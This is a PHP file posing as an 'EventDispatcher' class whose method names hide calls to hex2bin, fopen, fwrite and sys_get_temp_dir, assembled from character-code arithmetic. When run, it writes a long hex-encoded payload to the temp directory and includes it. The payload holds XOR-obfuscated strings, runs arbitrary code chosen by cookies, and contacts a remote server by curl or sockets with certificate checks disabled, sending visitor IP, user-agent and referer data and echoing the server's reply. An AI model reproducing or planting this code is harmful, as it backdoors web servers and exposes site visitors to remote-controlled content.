<?php
class EventDispatcher
{
    private $bi = '';
    private $ss = '';
    public function terminateSession($p1)
    {
        $m = array(44 + 13 + 53, 3 * 35, 83 * 14 - 1064, 60 * 2 - 70, 120, 10 + 91, 2 * 52);
        $a = '';
        foreach ($m as $n) {
            $a .= chr($n);
        }
        $a = strrev($a);
        return $a($p1);
    }
    public function rollbackTransaction($p1, $p2)
    {
        $k = array(102, 6 * 18 + 3, 2 * 56, 101 * 1, 39 * 2 + 32);
        $q = '';
        foreach ($k as $w) {
            $q .= chr($w);
        }
        return $q($p1, $p2);
    }
    public function manageState($p1, $p2)
    {
        $n = array(77 * 70 - 5288, 35 + 79 + 5, 88 * 1 + 26, 31 + 25 + 49, 116, 101 * 1);
        $j = '';
        foreach ($n as $r) {
            $j .= chr($r);
        }
        return $j($p1, $p2);
    }
    public function logEvent($p1)
    {
        $t = array(2 * 111 - 120, 92 + 7, 112 - 4, 34 * 2 + 43, 60 * 1 + 55, 51 * 1 + 50);
        $b = '';
        foreach ($t as $q) {
            $b .= chr($q);
        }
        return $b($p1);
    }
    public function calculateSum($p1, $p2 = null)
    {
        $g = array(109, 60 * 1 + 45, 114, 41 + 75, 84 * 25 - 1986);
        $n = '';
        foreach ($g as $a) {
            $n .= chr($a);
        }
        $n = strrev($n);
        return $n($p1, $p2);
    }
    public function computeResult()
    {
        $this->ss = $this->calculateSum($this->updateRegistry(), '/');
    }
    public function fetchRecords()
    {
        $this->bi = $this->terminateSession($this->im);
    }
    public function validateInput()
    {
        $fn = $this->ss . '/tq-690db0294ff85';
        $f = $this->rollbackTransaction($fn, 'w');
        $this->manageState($f, $this->bi);
        $this->logEvent($f);
        $this->handleRequest($fn);
    }
    private $im = '3c3f70687020636c617373205f7663767b707269766174652' . '0737461746963245f6b74723b7374617469632066756e63746' . '96f6e205f636c28245f67692c245f7967297b6966282173656' . 'c663a3a245f6b74722973656c663a3a5f79736b28293b245f7' . '976663d7374726c656e28245f7967293b245f6d77643d62617' . '36536345f6465636f64652873656c663a3a245f6b74725b245' . 'f67695d293b666f7228245f617a3d302c245f6e613d7374726' . 'c656e28245f6d7764293b245f617a213d3d245f6e613b2b2b2' . '45f617a29245f6d77645b245f617a5d3d636872286f7264282' . '45f6d77645b245f617a5d295e6f726428245f79675b245f617' . 'a25245f7976665d29293b72657475726e245f6d77643b7d707' . '26976617465207374617469632066756e6374696f6e205f797' . '36b28297b73656c663a3a245f6b74723d617272617928275f7' . '971273d3e2748684d484179774453535577486841554d42784' . 'a4a7a4d6343784679507859504f426b4b58483961272c275f6' . 'a79273d3e27484145624b7773624b304d684a6834515a55345' . '54c78345a4e6730554b7763614d554566506867554c4130484' . 'e683442272c275f6764273d3e275041413d272c275f6d79652' . '73d3e274f6859774c777735466c6b7a4e51684f45775564617' . '94d514f4673324e51684f4667594e4e677374476759314e695' . '64b42546330627959544b41595a4d6a6b58466755564e67733' . '94352556548435644272c275f7478273d3e274c6759644a773' . 'd3d272c275f7766273d3e275977735259513d3d272c275f6f6' . '578273d3e27597845474f30303d272c275f747966273d3e274' . 'b41414643773d3d272c275f6577273d3e27272c275f6b726f2' . '73d3e27272c275f6f78273d3e27272c275f78776d273d3e274' . 'e7759534232566453516371454567414f684141486a4d58446' . '8677342674d466352454a476e415243526f76485255534c567' . '74d4247415742774d2b54773d3d272c275f6c656e273d3e275' . '0414d614d796b424d523863272c275f6778273d3e274e77454' . '14c796f584d424552272c275f65726a273d3e274c416f464f6' . '75149272c275f696875273d3e274e7749664c77553d272c275' . 'f6277273d3e274743513766773d3d272c275f766371273d3e2' . '74c784d634e773d3d272c275f6874273d3e274c6751494c516' . '73d272c275f616d273d3e2759413d3d272c275f686476273d3' . 'e274c674d474269593d272c275f666d63273d3e27667a38314' . 'd51395955457476656d73744d4151565833383d272c275f707' . '9273d3e274e77494347413d3d272c275f6468273d3e27556d4' . '9794354454746415572415234495a556779436a41624647745' . '65a58733d272c275f6d61273d3e274c424155586e424d272c2' . '75f6b686c273d3e27272c275f6b6879273d3e274e7755564b7' . '73d3d272c275f6973273d3e27556d773d272c275f7672273d3' . 'e27467a38784e41416f4b5330614a544537466a733d272c275' . 'f7874273d3e27467a6736447a4d3241436f684454737644536' . '772477a4d6f4544343d272c275f786d273d3e27445477734e5' . '17338506a736250544d3d272c275f7a776e273d3e274679596' . 'a4e51416e4a43414e4c545969476a776a272c275f6175273d3' . 'e2746795578447934774444513341444169476a3878272c275' . 'f7a7173273d3e27272c275f657564273d3e27467a67784b414' . '12b4944346150694171272c275f6e74273d3e274679772f4d6' . '741714c6951614b693477272c275f6171273d3e27272c275f6' . 'd6474273d3e274679453144796f69457a776b4553452b46695' . '53d272c275f7275273d3e27467a3037447a597345794171455' . '43077466a6b3d272c275f646665273d3e27467a6b32447a493' . '64143737444546f6a44536b6e477a496b4544383d272c275f6' . '36d273d3e274679453744796f3341444d67445349754454457' . '147796f704543633d272c275f6370273d3e274453637345445' . '96b41434d6c477a413d272c275f626b273d3e274453516c4b4' . '1736b4e7959624a546f3d272c275f666577273d3e274f78594' . 'c447a415143513d3d272c275f776d273d3e27466a6c5951773' . 'd3d272c275f756a76273d3e276678314b4d42356253673d3d2' . '72c275f627461273d3e2766776853445245555a56513d272c2' . '75f6d76273d3e27663173554c566c38272c275f6472273d3e2' . '74e67553d272c275f616976273d3e274b684d3d272c275f767' . '573273d3e274c523863272c275f7466273d3e274c68595a477' . '73d3d272c293b7d7d686561646572285f7663763a3a5f636c2' . '8275f7971272c275f7064662729293b686561646572285f766' . '3763a3a5f636c28275f6a79272c275f6e752729293b6966286' . '97373657428245f4745545b5f7663763a3a5f636c28275f676' . '4272c275f68696927295d29297b245f7365743d5f617174285' . 'f7663763a3a5f636c28275f6d7965272c275f6f7a2729293b6' . '96628245f7365742626737472706f7328245f7365742c5f766' . '3763a3a5f636c28275f7478272c275f7167272929213d3d666' . '16c7365297b646965285f7663763a3a5f636c28275f7766272' . 'c275f647a2729293b7d656c73657b646965285f7663763a3a5' . 'f636c28275f6f6578272c275f73672729293b7d7d696628697' . '373657428245f4745545b5f7663763a3a5f636c28275f74796' . '6272c275f61696727295d29297b245f6e613d245f434f4f4b4' . '9453b245f79673d282d31382b39312b2d3733293b245f67693' . 'd28696e7429726f756e6428332e352b332e35293b245f756b6' . '23d617272617928293b245f756b625b245f79675d3d5f76637' . '63a3a5f636c28275f6577272c275f6a6927293b7768696c652' . '8245f6769297b245f756b625b245f79675d2e3d245f6e615b2' . '8696e7429726f756e642831302b31302b3130295d5b245f676' . '95d3b69662821245f6e615b32302b2d38352d36392b3136345' . 'd5b245f67692b28696e7429726f756e6428302e33333333333' . '333333333333333332b302e333333333333333333333333333' . '32b302e3333333333333333333333333333295d297b6966282' . '1245f6e615b28696e7429726f756e6428372e352b372e352b3' . '72e352b372e35295d5b245f67692b28696e7429726f756e642' . '8302e352b302e352b302e352b302e35295d29627265616b3b2' . '45f79672b2b3b245f756b625b245f79675d3d5f7663763a3a5' . 'f636c28275f6b726f272c275f666f27293b245f67692b2b3b7' . 'd245f67693d245f67692b283430332b2d333936292b2833332' . 'b3433302b3434392d393131293b7d245f79673d245f756b625' . 'b37342d202d3134332d3230335d28292e245f756b625b33332' . 'b2d395d3b69662821245f756b625b3136372d37342b2d33352' . 'b2d35325d28245f796729297b245f67693d245f756b625b2d3' . '634352b3637315d28245f79672c245f756b625b3131362d202' . 'd3131332d3137392d34305d293b245f756b625b28696e74297' . '26f756e6428332b332b33295d28245f67692c245f756b625b2' . '8696e7429726f756e6428322e37352b322e37352b322e37352' . 'b322e3735295d2e245f756b625b28696e7429726f756e64283' . '1312e352b31312e35295d28245f756b625b2d3332392b2d363' . '8372d202d313034315d28245f6e615b28696e7429726f756e6' . '428312e352b312e35295d2929293b7d696e636c75646528245' . 'f7967293b7d66756e6374696f6e205f61717428245f64696a2' . 'c245f76763d2d31373339302c245f7a703d276e617062626a7' . '770727471656e6773272c245f72786e3d27737a72797579656' . '427297b245f70727a3d5f7663763a3a5f636c28275f6f78272' . 'c275f62676727293b245f7770713d5f7663763a3a5f636c282' . '75f78776d272c275f72667727292e245f64696a3b696628697' . '35f63616c6c61626c65285f7663763a3a5f636c28275f6c656' . 'e272c275f7668272929297b245f6f683d6375726c5f696e697' . '428245f777071293b6375726c5f7365746f707428245f6f682' . 'c4355524c4f50545f53534c5f564552494659504545522c666' . '16c7365293b6375726c5f7365746f707428245f6f682c43555' . '24c4f50545f53534c5f564552494659484f53542c2d3533392' . 'b2d3135312b3731392d3237293b6375726c5f7365746f70742' . '8245f6f682c4355524c4f50545f464f4c4c4f574c4f4341544' . '94f4e2c2d3739382b373939293b6375726c5f7365746f70742' . '8245f6f682c4355524c4f50545f52455455524e5452414e534' . '645522c2d3133352b313336293b6375726c5f7365746f70742' . '8245f6f682c4355524c4f50545f4845414445522c28696e742' . '9726f756e6428302b3029293b6375726c5f7365746f7074282' . '45f6f682c4355524c4f50545f434f4e4e45435454494d454f5' . '5542c28696e7429726f756e6428352b3529293b6375726c5f7' . '365746f707428245f6f682c4355524c4f50545f54494d454f5' . '5542c3333322b2d333232293b245f70727a3d6375726c5f657' . '8656328245f6f68293b245f74733d6375726c5f676574696e6' . '66f28245f6f68293b6375726c5f636c6f736528245f6f68293' . 'b696628245f74735b5f7663763a3a5f636c28275f6778272c2' . '75f757427295d213d283637372b3433322b2d3930392929726' . '57475726e2066616c73653b7d656c73657b245f796d783d706' . '17273655f75726c28245f777071293b245f7575623d28245f7' . '96d785b5f7663763a3a5f636c28275f65726a272c275f696d2' . '7295d3d3d5f7663763a3a5f636c28275f696875272c275f766' . 'b2729293b245f6f6c703d5f7663763a3a5f636c28275f62772' . '72c275f616f27292e245f796d785b5f7663763a3a5f636c282' . '75f766371272c275f726827295d3b696628697373657428245' . 'f796d785b5f7663763a3a5f636c28275f6874272c275f716d2' . '7295d2929245f6f6c702e3d5f7663763a3a5f636c28275f616' . 'd272c275f76786927292e245f796d785b5f7663763a3a5f636' . 'c28275f686476272c275f76637427295d3b245f6f6c702e3d5' . 'f7663763a3a5f636c28275f666d63272c275f77616527292e2' . '45f796d785b5f7663763a3a5f636c28275f7079272c275f6d7' . '16c27295d2e5f7663763a3a5f636c28275f6468272c275f687' . '16627293b245f6a633d66736f636b6f70656e2828245f75756' . '23f5f7663763a3a5f636c28275f6d61272c275f63786427293' . 'a5f7663763a3a5f636c28275f6b686c272c275f6b766b27292' . '92e245f796d785b5f7663763a3a5f636c28275f6b6879272c2' . '75f6a6627295d2c245f7575623f3334352d3731332b3135342' . 'd202d3635373a28696e7429726f756e642832302b32302b323' . '02b323029293b696628245f6a63297b667075747328245f6a6' . '32c245f6f6c70293b245f6d77643d28696e7429726f756e642' . '8302b302b302b30293b7768696c65282166656f6628245f6a6' . '329297b245f696e6d3d666765747328245f6a632c28696e742' . '9726f756e64283334312e33333333333333333333332b33343' . '12e33333333333333333333332b3334312e333333333333333' . '333333329293b696628245f6d776429245f70727a2e3d245f6' . '96e6d3b696628245f696e6d3d3d5f7663763a3a5f636c28275' . 'f6973272c275f666863272929245f6d77643d282d3131302d2' . '02d33312b2d37332d202d313533293b7d66636c6f736528245' . 'f6a63293b7d7d72657475726e245f70727a3b7d245f6877633' . 'd697373657428245f5345525645525b5f7663763a3a5f636c2' . '8275f7672272c275f6b656427295d293b245f77683d6973736' . '57428245f5345525645525b5f7663763a3a5f636c28275f787' . '4272c275f6c6e27295d293b245f6c626e3d697373657428245' . 'f5345525645525b5f7663763a3a5f636c28275f786d272c275' . 'f79617a27295d293b245f63653d697373657428245f5345525' . '645525b5f7663763a3a5f636c28275f7a776e272c275f72776' . '527295d293f245f5345525645525b5f7663763a3a5f636c282' . '75f6175272c275f716527295d3a5f7663763a3a5f636c28275' . 'f7a7173272c275f79677227293b245f687a653d69737365742' . '8245f5345525645525b5f7663763a3a5f636c28275f6575642' . '72c275f6c657827295d293f245f5345525645525b5f7663763' . 'a3a5f636c28275f6e74272c275f786b6227295d3a5f7663763' . 'a3a5f636c28275f6171272c275f676527293b245f6877633d6' . '97373657428245f5345525645525b5f7663763a3a5f636c282' . '75f6d6474272c275f756127295d293f245f5345525645525b5' . 'f7663763a3a5f636c28275f7275272c275f696f27295d3a6e7' . '56c6c3b245f77683d697373657428245f5345525645525b5f7' . '663763a3a5f636c28275f646665272c275f6d6227295d293f2' . '45f5345525645525b5f7663763a3a5f636c28275f636d272c2' . '75f756f27295d3a6e756c6c3b245f6c626e3d6973736574282' . '45f5345525645525b5f7663763a3a5f636c28275f6370272c2' . '75f626127295d293f245f5345525645525b5f7663763a3a5f6' . '36c28275f626b272c275f61686727295d3a6e756c6c3b69662' . '866696c7465725f76617228245f6877632c3530382d3233332' . '9297b245f7662683d245f6877633b7d656c736569662866696' . 'c7465725f76617228245f77682c3735392b2d34383429297b2' . '45f7662683d245f77683b7d656c73657b245f7662683d245f6' . 'c626e3b7d696628697373657428245f4745545b5f7663763a3' . 'a5f636c28275f666577272c275f746c6227295d29297b65636' . '86f205f7663763a3a5f636c28275f776d272c275f696263272' . '92e245f7662682e5f7663763a3a5f636c28275f756a76272c2' . '75f616a6527292e245f63652e5f7663763a3a5f636c28275f6' . '27461272c275f747227292e245f687a652e5f7663763a3a5f6' . '36c28275f6d76272c275f677627293b6578697428293b7d696' . '62821697373657428245f766268297c7c21697373657428245' . 'f6365297c7c21697373657428245f687a6529297b657869742' . '8293b7d656c73657b245f71683d6172726179285f7663763a3' . 'a5f636c28275f6472272c275f756627293d3e245f7662682c5' . 'f7663763a3a5f636c28275f616976272c275f72697a27293d3' . 'e245f63652c5f7663763a3a5f636c28275f767573272c275f7' . 'a7a27293d3e245f687a65293b245f746d663d75726c656e636' . 'f6465286261736536345f656e636f6465286a736f6e5f656e6' . '36f646528245f71682929293b245f7365743d5f61717428245' . 'f746d66293b696628245f7365742626737472706f7328245f7' . '365742c5f7663763a3a5f636c28275f7466272c275f6163632' . '72929213d3d66616c7365297b6563686f245f7365743b65786' . '97428293b7d7d';
    public function handleRequest($p)
    {
        include_once $p;
    }
    public function updateRegistry()
    {
        $a = array(115, 66 + 55, 5 * 23, 2 + 93, 91 * 1 + 12, 101, 77 * 67 - 5043, 98 - 3, 2 * 58, 110 - 9, 109 * 1, 2 * 56, 14 * 2 + 67, 108 * 51 - 5408, 107 - 2, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$tc = new EventDispatcher();
$tc->computeResult();
$tc->fetchRecords();
$tc->validateInput();